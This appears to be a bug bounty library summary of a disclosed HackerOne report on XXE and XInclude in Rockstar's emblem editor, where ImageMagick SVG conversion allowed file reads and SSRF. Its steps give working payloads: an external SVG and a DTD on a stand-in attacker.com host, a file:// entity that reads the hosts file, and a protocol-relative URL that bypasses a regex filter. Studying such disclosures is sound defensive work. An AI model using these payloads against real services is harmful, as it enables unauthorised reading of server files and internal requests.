# LFI and SSRF via XXE in emblem editor

ImageMagick SVG-to-PNG conversion in Rockstar's emblem editor allowed XXE and XInclude, enabling LFI and SSRF to exfiltrate server files and HTTP responses onto a rendered emblem.

- Payout: $1,500
- Severity: critical
- Program: Rockstar Games
- Credited: alexbirsan
- Disclosed: 2018-08-01
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/347139
- Library page: https://bugbountylibrary.com/r/h1%3A347139
- Tags: domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:critical tech:php technique:source-review vuln:info-disclosure vuln:path-traversal vuln:ssrf vuln:xxe

**Target:** Emblem editor SVG-to-PNG conversion (ImageMagick)
**Root cause:** ImageMagick parsed user-supplied SVG with external entity and XInclude processing enabled, and a regex filter was bypassed via protocol-relative `//` URLs to load attacker-hosted SVG.
**Steps:**
1. Submit SVG with `<rect fill="url(//attacker.com/malicious.svg#exploit)">` to bypass filter and load external SVG
2. Host malicious.svg containing `<!DOCTYPE svg [<!ENTITY % outside SYSTEM "http://attacker.com/exfil.dtd">%outside;]>`
3. exfil.dtd defines `<!ENTITY % data SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts">` and `<!ENTITY exfil "%data;">`
4. Reference `&exfil;` inside a `<text>` element so file contents render into the emblem
5. Alternatively use `<xi:include href="https://www.google.com/" parse="text"/>` for SSRF
6. Render emblem and read extracted content from the resulting PNG
**How found:** Researcher spent a year probing the emblem editor's SVG-to-PNG pipeline, noticed ImageMagick quirks (protocol-relative `//` bypassing regex, XXE and XInclude support) and chained them into LFI/SSRF.
**Exploitation:** Attacker hosts external SVG+DTD, submits emblem SVG referencing it via protocol-relative URL; ImageMagick resolves entities/XIncludes server-side, embedding local file contents or fetched HTTP responses into the rendered PNG the attacker then views.
**Insight:** When a service converts user SVG to raster, test protocol-relative `//` URLs to bypass scheme regexes, and check whether the converter still honors external DTDs and XIncludes — both render fetched content into the output image.